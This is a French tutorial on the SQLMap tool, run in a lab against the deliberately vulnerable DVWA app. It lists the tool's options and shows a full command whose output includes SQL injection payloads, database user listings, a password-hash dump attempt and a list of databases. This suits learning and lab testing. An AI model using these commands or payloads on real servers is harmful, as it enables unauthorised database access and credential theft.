Rappel :

Attention dans cet article l’outils est utilisé pour la recherche et l’apprentissage. Ce type d’outils ne doit pas être utilisé vers un serveur qui ne vous appartient pas, ceci peut être puni par la loi (voir les articles 323-XX).

Présentation de l’outils :

SQLMap est un outils qui permet d’automatiser les requêtes SQL afin de trouver et d’utiliser une mauvaise configuration d’un serveur Web.

Présentation du terrain de jeux :

Un poste attaquant avec SQLMap qui va scanner un serveur avec DVWA.

La syntaxe de la commande :

sqlmap _options_

options :
  -u : URL
  --cookie : cookie(s) à fournir comme le PHPSESSID séparrés par des ;
  -dbs : afficher les bases disponibles du SGBD
  --banner : affiche la bannoère de la SGBD
  --current-user : affiche l'utilisateur courant de la DB 
  --current-db : affiche la DB courante
  --passwords : affiche les hashs des mots de passe 
  --dbms : affiche les différentes DB disponibles
  --users : affiche les utilisateurs du SGBD
  -D _DBName_ : selectionne une DB
  --tables : affiche les tables
  --columns : affiche les colonnes de _DBName_
	--count : afiiche le nombre d'enregistrement de chaque tables dans _DBName_
  --schema : affiche le schéma
  --dump : dump les tables de _DBName
  --dump-all : dump toutes les tables

Exemple :

# sqlmap -u "http://192.168.5.11/dvwa/vulnerabilities/sqli/?id=sdsd&Submit=Submit#" --cookie="PHPSESSID=b6bcad3d43f00c81ae3d248bf7f2d8f0; security=low" --dbs --banner --current-user --current-db --passwords --users

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 21:37:36

[21:37:36] [INFO] resuming back-end DBMS 'mysql' 
[21:37:36] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: id=-2612' OR (1564=1564)#&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=aa#' AND (SELECT 6272 FROM(SELECT COUNT(*),CONCAT(0x7179716d71,(SELECT (CASE WHEN (6272=6272) THEN 1 ELSE 0 END)),0x7169706771,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'ZIWW'='ZIWW&Submit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=aa#' UNION ALL SELECT CONCAT(0x7179716d71,0x6f655662555a66714277,0x7169706771),NULL#&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: id=aa#' AND 8670=BENCHMARK(5000000,MD5(0x424d415a)) AND 'ugRh'='ugRh&Submit=Submit
---
[21:37:36] [INFO] the back-end DBMS is MySQL
[21:37:36] [INFO] fetching banner
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL 5
banner:    '5.0.51a-3ubuntu5'
[21:37:36] [INFO] fetching current user
current user:    'root@%'
[21:37:36] [INFO] fetching current database
current database:    'dvwa'
[21:37:36] [INFO] fetching database users
database management system users [3]:
[*] 'debian-sys-maint'@''
[*] 'guest'@'%'
[*] 'root'@'%'

[21:37:36] [INFO] fetching database users password hashes
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[21:37:38] [INFO] writing hashes to a temporary file '/tmp/sqlmaphashes-iVnwDp.txt' 
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] y
[21:37:39] [WARNING] unknown hash format. Please report by e-mail to sqlmap-users@lists.sourceforge.net
[21:37:39] [WARNING] no clear password(s) found
database management system users password hashes:
[*] debian-sys-maint [1]:
    password hash: NULL
[*] guest [1]:
    password hash: NULL
[*] root [1]:
    password hash: NULL

[21:37:39] [INFO] fetching database names
available databases [7]:
[*] dvwa
[*] information_schema
[*] metasploit
[*] mysql
[*] owasp10
[*] tikiwiki
[*] tikiwiki195

[21:37:39] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/192.168.5.11'

[*] shutting down at 21:37:39

On lui fournit l’URL ou l’on peut tester le SQLi et le cookie PHPSESSID, il faut avoir fait une connection avec un bon login/password avant.

Mot de la fin :

Il faut avouer que ce n’est pas vraiment transparent côté serveur Web on arrive un peu en faisant toc-toc à la porte !
Surtout s’il y a un IDS,IPS ou WAF.